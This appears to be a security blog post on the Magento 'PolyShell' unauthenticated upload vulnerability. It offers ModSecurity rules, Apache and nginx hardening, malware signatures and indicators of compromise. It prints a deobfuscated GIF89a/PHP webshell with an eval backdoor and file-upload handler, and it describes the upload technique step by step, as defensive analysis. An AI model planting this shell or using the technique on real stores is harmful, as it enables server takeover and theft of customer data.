Skip to main content
rfxn
//
vulnerabilitymagentomodsecuritylmd

Magento PolyShell: Detection, Mitigation, and LMD Signatures

Ryan MacDonald

On March 23, 2026, researchers at Sansec published detailed research on a critical unauthenticated file upload vulnerability in Magento Open Source and Adobe Commerce. The vulnerability allows remote attackers to upload PHP webshells through the guest cart REST API with zero authentication. Exploitation was observed in the wild within hours of disclosure.

We want to thank Sansec for their thorough analysis and responsible disclosure. Their research gave the community the technical detail needed to respond quickly.

This post covers our response: ModSecurity rules to block the upload vector, Apache configuration to prevent execution of planted shells, and four new Linux Malware Detect signatures that identify the known webshell variants.

The Attack#

The vulnerability exploits three missing validation checks in Magento's cart item custom options processing:

  1. No option ID validation — submitted option IDs are not verified against the product's actual custom options
  2. No option type gating — file upload processing runs regardless of whether the product has a file-type option configured
  3. No file extension restriction — the only server-side check is getimagesizefromstring(), which validates image headers but ignores the filename extension entirely

The attack targets the unauthenticated guest cart endpoints:

http
POST /rest/V1/guest-carts/:cartId/items
PUT  /rest/V1/guest-carts/:cartId/items/:itemId

The request body is JSON containing a file_info object with base64-encoded file content, a declared MIME type, and a filename. The attacker submits a file named index.php with a GIF89a header prepended to the PHP payload. The image header satisfies the server-side check. Magento writes the file to pub/media/custom_options/quote/ with the attacker-controlled filename intact. On a server that processes PHP in that directory, the shell is live.

Affected versions

All Magento Open Source and Adobe Commerce releases prior to 2.4.9-alpha3. Patched under Adobe Security Bulletin APSB25-94. No stable production patch was available at time of writing. GraphQL endpoints use a different code path and are not vulnerable.

The GIF89a Polyglot Technique#

The webshells observed in the wild are polyglot files: valid GIF images that are simultaneously valid PHP scripts. The GIF89a magic header at the start of the file passes image validation checks, while the PHP interpreter ignores everything before the <?php opening tag and executes the embedded code.

Two variants have been observed. The first uses cookie-based MD5 authentication with eval(base64_decode()) for arbitrary code execution and a secondary file upload capability. The second uses hash_equals() for authentication and passes commands directly to system().

Deobfuscated, the v1 payload looks like this:

php
GIF89a<?php
echo 409723 * 20;
if (md5($_COOKIE["d"]) == "17028f487cb2a8...") {
    echo "ok";
    eval(base64_decode($_REQUEST["id"]));
    if ($_POST["up"] == "up") {
        @copy($_FILES["file"]["tmp_name"],
              $_FILES["file"]["name"]);
    }
}
?>

The arithmetic echo serves as a health check for the attacker. The MD5-gated cookie prevents casual discovery. Once authenticated, the shell accepts arbitrary PHP via the id parameter and can upload additional files through a secondary POST handler.

Observed Attack Patterns#

Exploitation was rapid. We began seeing successful uploads against Magento installations within hours of public disclosure, and observed multiple independent actor groups targeting the same hosts concurrently. Across the environments we analyzed, the pattern was consistent: initial polyglot shells appeared first, followed by larger second-stage drops uploaded through the first shell's file handler.

Multi-Actor Forensics

File permissions on the planted shells revealed two distinct delivery mechanisms. Initial polyshell uploads written by Magento's file processor had rwxrwxr-x permissions (the web process umask). Larger second-stage shells had rw-r--r-- permissions, indicating they were dropped through the initial shell's @copy() handler after the attacker gained access. The 25KB and 8KB shells are not polyglots; they are full-featured webshells uploaded as a second stage.

ActorPayload SizePermissionsDelivery
1377-409 bytesrwxrwxr-xDirect upload (GIF89a polyglot)
225,326 bytesrw-r--r--Second-stage drop via @copy()
38,333 bytesrw-r--r--Second-stage drop via @copy()
4139-1,995 bytesrw-r--r--Utility shells (static.php, get.php)

Filename Conventions

Three distinct naming patterns were observed, useful for filesystem-level detection:

Option ID prefix 427index.php, 891index.php — Magento prepends the submitted option_id to the filename. Any integer-prefixed index.php in custom_options/quote/ is a strong indicator
Hex-named drops f55d505b20.php, 1cdef191fd.php — 10-character hex filenames used by second-stage drops. These are full webshells, not polyglots
Generic utility names static.php, get.php, txets.php — designed to blend in with legitimate Magento files

Reactive Remediation Anti-Pattern

The initial remediation deployed on the affected infrastructure was a .htaccess that manually enumerated PHP extension capitalizations:

apache
# Fragile: misses php8, PhP7, phTML, and dozens of other variants
<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5)$'>
Order allow,deny
Deny from all
</FilesMatch>

This approach is brittle. Apache's PCRE engine supports inline case flags, so a single (?i:) group covers every capitalization variant in one expression. It also uses the legacy Order/Deny syntax from Apache 2.2. Modern Apache 2.4+ should use Require all denied. See the Apache Hardening section below for the recommended configuration.

ModSecurity Mitigation#

We published six ModSecurity rules organized into four defense layers. Each layer fires independently. Here is the complete ruleset:

modsecurity
# Layer 1 — Guest cart upload blocking (1 rule)
SecRule REQUEST_URI "@rx /rest(?:/[^/]+)?/V1/guest-carts/[^/]+/items" \
    "id:9517100, phase:2, deny, status:403, log, \
    msg:'POLYSHELL: PHP extension in guest cart file_info upload', \
    severity:'CRITICAL', chain"
    SecRule REQUEST_BODY "@pm file_info" "t:none, chain"
        SecRule REQUEST_BODY "@rx \\.ph(?:p[345s7]?|tml|ar)" "t:none"

# Layer 2 — Broad API upload blocking (1 rule)
SecRule REQUEST_URI "@rx /rest(?:/[^/]+)?/V1/" \
    "id:9517110, phase:2, deny, status:403, log, \
    msg:'POLYSHELL: PHP extension in Magento API file_info upload', \
    severity:'CRITICAL', chain"
    SecRule REQUEST_BODY "@pm file_info" "t:none, chain"
        SecRule REQUEST_BODY "@rx \\.ph(?:p[345s7]?|tml|ar)" "t:none"

# Layer 3a — Base64 polyglot, alignment 0
SecRule REQUEST_URI "@rx /rest(?:/[^/]+)?/V1/" \
    "id:9517120, phase:2, deny, status:403, log, \
    msg:'POLYSHELL: base64 GIF89a+PHP polyglot (align 0)', \
    severity:'CRITICAL', chain"
    SecRule REQUEST_BODY "@pm file_info" "t:none, chain"
        SecRule REQUEST_BODY "@rx R0lGODlh[A-Za-z0-9+/]{0,300}PD9w" "t:none"

# Layer 3b — Base64 polyglot, alignment 1
SecRule REQUEST_URI "@rx /rest(?:/[^/]+)?/V1/" \
    "id:9517121, phase:2, deny, status:403, log, \
    msg:'POLYSHELL: base64 GIF89a+PHP polyglot (align 1)', \
    severity:'CRITICAL', chain"
    SecRule REQUEST_BODY "@pm file_info" "t:none, chain"
        SecRule REQUEST_BODY "@rx R0lGODlh[A-Za-z0-9+/]{0,300}w/cGhw" "t:none"

# Layer 3c — Base64 polyglot, alignment 2
SecRule REQUEST_URI "@rx /rest(?:/[^/]+)?/V1/" \
    "id:9517122, phase:2, deny, status:403, log, \
    msg:'POLYSHELL: base64 GIF89a+PHP polyglot (align 2)', \
    severity:'CRITICAL', chain"
    SecRule REQUEST_BODY "@pm file_info" "t:none, chain"
        SecRule REQUEST_BODY "@rx R0lGODlh[A-Za-z0-9+/]{0,300}8P3Bo" "t:none"

# Layer 4 — Execution blocking (1 rule, no body inspection)
SecRule REQUEST_URI "@rx /media/.*\\.ph(?:p[345s7]?|tml|ar)" \
    "id:9517130, phase:1, deny, status:403, log, \
    msg:'POLYSHELL: PHP execution blocked in Magento media directory', \
    severity:'CRITICAL'"

Layers 1 through 3 (five rules) require SecRequestBodyAccess On and a SecRequestBodyLimit sized to cover your largest JSON payloads. Layer 4 works at phase 1 with no body inspection at all.

Layer 1: Guest Cart Upload

Rule 9517100 targets the exact unauthenticated attack vector. It uses a three-element AND chain: the URI must match a guest cart item endpoint, the body must contain file_info, and the body must contain a PHP-executable extension (.php, .phtml, .phar and variants). All three conditions must match for the rule to fire. The file_info check prevents false positives: a customer typing ".php" in a text custom option triggers the extension match but not the file_info match, so the chain breaks and the request passes through.

Layer 2: Broad API Coverage

Rule 9517110 uses the same three-element chain as Layer 1 but with a wider URI scope: any Magento V1 REST API path. This covers authenticated customer cart routes ( /V1/carts/mine/items), admin cart routes, and any future endpoint that accepts file_info.

Layer 3: Base64 Polyglot Detection

Rules 9517120, 9517121, and 9517122 detect the polyglot payload itself, independent of the filename. Each matches the base64 encoding of GIF89a ( R0lGODlh) followed by the base64 encoding of <?php. Three rules are needed because base64 encodes in 3-byte groups, and the PHP open tag falls at a different position depending on how many bytes of GIF data precede it. The match patterns: PD9w (alignment 0), w/cGhw (alignment 1), and 8P3Bo (alignment 2).

Layer 4: Execution Blocking

Rule 9517130 is the safety net. Phase 1, no body inspection, no chain logic. It denies access to any PHP-executable file under Magento's /media/ directory tree. Even if the upload-blocking rules were not yet deployed when a shell was planted, this rule prevents it from executing. It is the only rule in the set that works without SecRequestBodyAccess On.

Apache Hardening#

ModSecurity rules address the WAF layer. The server layer needs its own controls. The polyshell attack has two independent phases: upload and execution. If you block either one, the attack fails. Server-level configuration ensures that even if a shell reaches disk, it cannot execute.

Disable PHP in Media Directories

The most effective single control. This disables the PHP engine entirely for Magento's media tree, where only static assets (images, CSS, JS) should ever be served.

apache
<Directory "/var/www/magento/pub/media">
    php_flag engine off
</Directory>

This works when PHP runs as an Apache module (mod_php). If your stack runs PHP-FPM via mod_proxy_fcgi, the php_flag directive is silently ignored because mod_php is not loaded. In that case, use the <FilesMatch> approach below, or set php_admin_value[engine] = Off in your FPM pool configuration. After applying either control, verify with a test file:

bash
echo '<?php echo "VULNERABLE";' > pub/media/polyshell-check.php
curl -s -o /dev/null -w '%{http_code}' https://store.example.com/media/polyshell-check.php
# Expected: 403 or blank output. If you see "VULNERABLE": PHP is still active.
rm pub/media/polyshell-check.php

Block PHP Extensions via FilesMatch

If php_flag engine off is not available in your environment (some shared hosting configurations), use a <FilesMatch> directive to deny access by extension. Use the (?i:) flag for case-insensitive matching instead of enumerating every capitalization variant:

apache
<Directory "/var/www/magento/pub/media">
    <FilesMatch "\.(?i:php[345s7]?|phtml|phar)$">
        Require all denied
    </FilesMatch>
</Directory>

For Apache 2.4+ with AllowOverride enabled, this can also be placed in a .htaccess file at pub/media/.htaccess:

apache
<FilesMatch "\.(?i:php[345s7]?|phtml|phar)$">
    Require all denied
</FilesMatch>

Combined Configuration

For maximum protection, use both controls together. The php_flag directive prevents execution at the engine level, while <FilesMatch> returns a 403 before Apache even considers the file:

apache
<Directory "/var/www/magento/pub/media">
    # Disable PHP engine entirely
    php_flag engine off

    # Deny access to PHP-executable extensions (defense in depth)
    <FilesMatch "\.(?i:php[345s7]?|phtml|phar)$">
        Require all denied
    </FilesMatch>

    # Prevent script execution via Options
    Options -ExecCGI
    RemoveHandler .php .phtml .phar
</Directory>

nginx

For nginx deployments, restrict PHP-FPM to known entry points only. All other .php requests should return 403:

nginx
# Deny PHP execution in media directories
location ~* ^/media/.*\.php$ {
    return 403;
}

# Only pass known Magento entry points to PHP-FPM
location ~ \.php$ {
    location ~ ^/(index|get|static|errors/report|errors/404|health_check)\.php$ {
        fastcgi_pass unix:/run/php-fpm/www.sock;
        include      fastcgi_params;
    }
    return 403;
}

Linux Malware Detect Signatures#

We have published four new hex signatures in Linux Malware Detect (LMD) that identify the known polyshell webshell variants. These signatures match the GIF89a header combined with the PHP payload patterns observed in active exploitation.

SignatureVariantDetection
php.webshell.polyshell.v1authv1GIF89a + cookie MD5 auth gate + eval
php.webshell.polyshell.v1evalv1GIF89a + eval(base64_decode())
php.webshell.polyshell.v2authv2GIF89a + hash_equals() auth gate
php.webshell.polyshell.v2sysv2GIF89a + system($_REQUEST)

These signatures use hex pattern matching with wildcards to catch obfuscated variants. The v1 signatures target the cookie-based authentication pattern with the known MD5 hash, while the v2 signatures target the hash_equals() and system() patterns unique to the second variant family.

LMD users running maldet --update-sigs will receive these signatures automatically. For immediate detection on a potentially compromised host:

bash
maldet --update-sigs
maldet -a /var/www/magento/pub/media/custom_options/

Indicators of Compromise#

We observed active exploitation beginning within hours of Sansec's publication on March 23, 2026. Across the installations we analyzed, compromised hosts accumulated shells from multiple independent actors over a short window, with production environments consistently showing more activity than staging. The speed of exploitation underscores why server-level controls (not just patching) are critical for this class of vulnerability.

MD5 Hashes

text
# Initial polyglot uploads (GIF89a + PHP)
6a296a13e7719ee9f8694f9bc7bdc3df  GIF89a + eval/base64   (409 bytes)
222bb94c2aac6f0ee609bfe6af4eb078  GIF89a + eval/base64   (377 bytes)

# Second-stage drops (uploaded via @copy handler)
5dcd02bda663342b5ddea2187190c425  full webshell           (25,326 bytes)
da024d188358becc4ee3447d4d892c30  full webshell           (8,333 bytes)

# Utility shells
a2c2d4c8e7e0cd921d1c7191e5e1a0a8  static.php / get.php   (139 bytes)
9805097a9f70c5f06891933a720e7a9c  txets.php              (1,995 bytes)

Filesystem Patterns

All shells land under pub/media/custom_options/quote/ in Magento's 2-level character dispersion tree. A quick filesystem sweep for compromise:

bash
find pub/media/custom_options/ -type f -iname '*.php' -ls
find pub/media/custom_options/ -type f -iname '*.php' -exec md5sum {} \;

Observed file paths across staging and production:

text
# Option-ID prefix pattern (initial polyglot upload)
custom_options/quote/4/2/427index.php
custom_options/quote/8/9/891index.php
custom_options/quote/3/6/365index.php
custom_options/quote/9/2/922index.php

# Hex-named second-stage drops
custom_options/quote/8/9/f55d505b20.php
custom_options/quote/i/n123/1cdef191fd.php

# Generic utility shells
custom_options/quote/s/t/static.php
custom_options/quote/g/e/get.php
custom_options/quote/8/9/txets.php

Conclusion#

This vulnerability is straightforward to exploit and was weaponized within hours of disclosure. The absence of a stable production patch makes server-level controls the primary line of defense. Here is what to do, in priority order.

Immediate

Apply APSB25-94 when a stable patch ships, or upgrade to Magento 2.4.9+
Deploy ModSecurity Layer 4 (rule 9517130) to block PHP execution in /media/ paths. No body inspection required
Sweep media/custom_options/ for .php files. Any PHP file there is a compromise indicator

Harden

Disable PHP in media directories: php_flag engine off (mod_php) or php_admin_value[engine]=Off (FPM)
Add FilesMatch deny with (?i:) case flag for PHP extensions as defense in depth
Deploy ModSecurity Layers 1 through 3 for upload-level blocking (requires body inspection)
Restrict PHP-FPM to known entry points only. Deny all other .php requests at the web server

Detect

Run maldet --update-sigs && maldet -a pub/media/ to scan with the four polyshell signature families
Review access logs for POST/PUT to /rest/V1/guest-carts/*/items with large payloads
Check file permissions in custom_options/: rwxrwxr-x indicates initial upload, rw-r--r-- indicates second-stage drop

The ModSecurity ruleset and LMD signatures referenced in this post are open source under the GPL v2 license. If you have additional IOCs or variant samples, reach out via Keybase or email.